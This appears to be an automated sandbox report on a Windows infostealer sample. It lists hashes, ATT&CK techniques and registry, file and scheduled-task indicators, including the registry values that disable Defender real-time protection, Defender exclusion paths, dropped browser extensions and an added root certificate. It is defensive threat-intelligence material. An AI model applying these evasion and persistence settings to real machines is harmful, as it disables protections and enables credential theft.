0349b353e27891e1ed1d05864b0b5133cda4f3c22b11c32a77a35d078b919c39

Analysis

max time kernel
130s
max time network
134s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
26-09-2022 05:27

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

file.exe
Size

7.3MB
MD5

b27a11f6d31593c46923b1ac28779516
SHA1

907d2ab38029b59b1c5cb3319802679a301ecba1
SHA256

0349b353e27891e1ed1d05864b0b5133cda4f3c22b11c32a77a35d078b919c39
SHA512

5ce732134e0a82dae625d814a1f19d37ecde3d241037d5296468497a8c08e4cdae96db2e77dd3f99abda4e1d378a5060a9de8f49102eaed31174379f2b304a64
SSDEEP

196608:91Oj8GARTRTnqBFa+9kn+xtZcx5NpYGWwcO:3Oj8vfGFPuEJGW5O

Score

10^/10

discovery evasion spyware stealer trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

Processes:

reg.exereg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe

Windows security bypass 2 TTPs 36 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ogOKxwoIKtPajjLdTvR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\oCRUNVefZTIhACRx = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\BrFEHzbpwZEBC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\oCRUNVefZTIhACRx = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\oCRUNVefZTIhACRx = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\PKTFfLRluxQTmPRqk = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\aIaOnhtotwUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\gCafjQbERGAU2 = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\gCafjQbERGAU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ZFNizbZnU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\aIaOnhtotwUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\euGiausHkJdtKpVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\euGiausHkJdtKpVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\oCRUNVefZTIhACRx = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ogOKxwoIKtPajjLdTvR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\BrFEHzbpwZEBC = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ZFNizbZnU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\PKTFfLRluxQTmPRqk = "0"	reg.exe

Blocklisted process makes network request 6 IoCs

Processes:

rundll32.exe

flow pid process

29 1928 rundll32.exe
30 1928 rundll32.exe
31 1928 rundll32.exe
32 1928 rundll32.exe
33 1928 rundll32.exe
35 1928 rundll32.exe
Executes dropped EXE 4 IoCs

Processes:

Install.exeInstall.exeivXGNPU.exewCCTwRy.exe

pid process

280 Install.exe
1756 Install.exe
272 ivXGNPU.exe
1256 wCCTwRy.exe

flow	pid	process
29	1928	rundll32.exe
30	1928	rundll32.exe
31	1928	rundll32.exe
32	1928	rundll32.exe
33	1928	rundll32.exe
35	1928	rundll32.exe

pid	process
280	Install.exe
1756	Install.exe
272	ivXGNPU.exe
1256	wCCTwRy.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Install.exerundll32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

wCCTwRy.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Control Panel\International\Geo\Nation wCCTwRy.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Control Panel\International\Geo\Nation	wCCTwRy.exe

Loads dropped DLL 12 IoCs

Processes:

file.exeInstall.exeInstall.exerundll32.exe

pid	process
1044	file.exe
280	Install.exe
280	Install.exe
280	Install.exe
280	Install.exe
1756	Install.exe
1756	Install.exe
1756	Install.exe
1928	rundll32.exe
1928	rundll32.exe
1928	rundll32.exe
1928	rundll32.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops Chrome extension 2 IoCs

Processes:

wCCTwRy.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json	wCCTwRy.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\meejmcfbiapijdfaadackoblffmidlig\1.0.0.0\manifest.json	wCCTwRy.exe

Drops file in System32 directory 23 IoCs

Processes:

Install.exepowershell.EXEwCCTwRy.exeivXGNPU.exepowershell.EXErundll32.exepowershell.EXEpowershell.EXE

description	ioc	process
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	wCCTwRy.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	wCCTwRy.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	wCCTwRy.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F2DDCD2B5F37625B82E81F4976CEE400_D29849B2B3CC9118078AA61A670027D9	wCCTwRy.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_58589533BD741CABD9C6A1C2A7AAD4A1	wCCTwRy.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_58589533BD741CABD9C6A1C2A7AAD4A1	wCCTwRy.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	ivXGNPU.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	wCCTwRy.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2DDCD2B5F37625B82E81F4976CEE400_D29849B2B3CC9118078AA61A670027D9	wCCTwRy.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_57084D1D86D9F07AD164FDFDC2CB1CB3	wCCTwRy.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_57084D1D86D9F07AD164FDFDC2CB1CB3	wCCTwRy.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	ivXGNPU.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	ivXGNPU.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	wCCTwRy.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	wCCTwRy.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	rundll32.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	wCCTwRy.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	wCCTwRy.exe

Drops file in Program Files directory 13 IoCs

Processes:

wCCTwRy.exe

description	ioc	process
File created	C:\Program Files (x86)\ZFNizbZnU\umRdgL.dll	wCCTwRy.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	wCCTwRy.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	wCCTwRy.exe
File created	C:\Program Files (x86)\gCafjQbERGAU2\SufmHRjdPgyLi.dll	wCCTwRy.exe
File created	C:\Program Files (x86)\gCafjQbERGAU2\YUUYwXN.xml	wCCTwRy.exe
File created	C:\Program Files (x86)\BrFEHzbpwZEBC\TCIYisq.xml	wCCTwRy.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	wCCTwRy.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	wCCTwRy.exe
File created	C:\Program Files (x86)\ZFNizbZnU\LIHXiOj.xml	wCCTwRy.exe
File created	C:\Program Files (x86)\ogOKxwoIKtPajjLdTvR\WYgPNQG.dll	wCCTwRy.exe
File created	C:\Program Files (x86)\ogOKxwoIKtPajjLdTvR\nrTJZUs.xml	wCCTwRy.exe
File created	C:\Program Files (x86)\BrFEHzbpwZEBC\hNSQxlY.dll	wCCTwRy.exe
File created	C:\Program Files (x86)\aIaOnhtotwUn\HdltVPl.dll	wCCTwRy.exe

Drops file in Windows directory 4 IoCs

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	ioc	process
File created	C:\Windows\Tasks\byLWBUphYKVPGqoaZN.job	schtasks.exe
File created	C:\Windows\Tasks\iczjDJyUUtiHxBiey.job	schtasks.exe
File created	C:\Windows\Tasks\BQFrhQQBtTmYywN.job	schtasks.exe
File created	C:\Windows\Tasks\bdJibvckjBbeomyLL.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 13 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
1448	schtasks.exe
1732	schtasks.exe
1608	schtasks.exe
1704	schtasks.exe
628	schtasks.exe
660	schtasks.exe
2028	schtasks.exe
1868	schtasks.exe
1960	schtasks.exe
516	schtasks.exe
920	schtasks.exe
552	schtasks.exe
1260	schtasks.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

Install.exerundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

wCCTwRy.exewscript.exerundll32.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	wCCTwRy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	wscript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	wCCTwRy.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9F54B51D-77EF-4A77-A9C1-C921DCBC591A}\WpadNetworkName = "Network 3"	wCCTwRy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	wCCTwRy.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	wCCTwRy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	wCCTwRy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	wCCTwRy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	wCCTwRy.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	wCCTwRy.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	wCCTwRy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\be-c2-63-df-77-e1\WpadDecisionReason = "1"	rundll32.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\be-c2-63-df-77-e1\WpadDecisionTime = 606fe2aa79d1d801	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	wCCTwRy.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	wCCTwRy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	wCCTwRy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\be-c2-63-df-77-e1\WpadDecisionReason = "1"	wCCTwRy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	wCCTwRy.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	wCCTwRy.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	wCCTwRy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	wCCTwRy.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	wCCTwRy.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	wCCTwRy.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	wCCTwRy.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	wCCTwRy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	wCCTwRy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9F54B51D-77EF-4A77-A9C1-C921DCBC591A}\WpadDecision = "0"	wCCTwRy.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	wCCTwRy.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	wCCTwRy.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f0089000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host\Settings	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9F54B51D-77EF-4A77-A9C1-C921DCBC591A}\WpadDecisionReason = "1"	wCCTwRy.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	wCCTwRy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	wCCTwRy.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	wCCTwRy.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	wCCTwRy.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	wCCTwRy.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9F54B51D-77EF-4A77-A9C1-C921DCBC591A}	wCCTwRy.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\be-c2-63-df-77-e1	wCCTwRy.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9F54B51D-77EF-4A77-A9C1-C921DCBC591A}\be-c2-63-df-77-e1	wCCTwRy.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	wCCTwRy.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	wCCTwRy.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	wCCTwRy.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	wCCTwRy.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	rundll32.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\be-c2-63-df-77-e1\WpadDetectedUrl	rundll32.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\be-c2-63-df-77-e1\WpadDecisionTime = 606fe2aa79d1d801	wCCTwRy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	wCCTwRy.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\be-c2-63-df-77-e1\WpadDecision = "0"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	wCCTwRy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	wCCTwRy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\be-c2-63-df-77-e1\WpadDecision = "0"	wCCTwRy.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	wCCTwRy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	wCCTwRy.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9F54B51D-77EF-4A77-A9C1-C921DCBC591A}\be-c2-63-df-77-e1	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	wCCTwRy.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

wCCTwRy.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	wCCTwRy.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb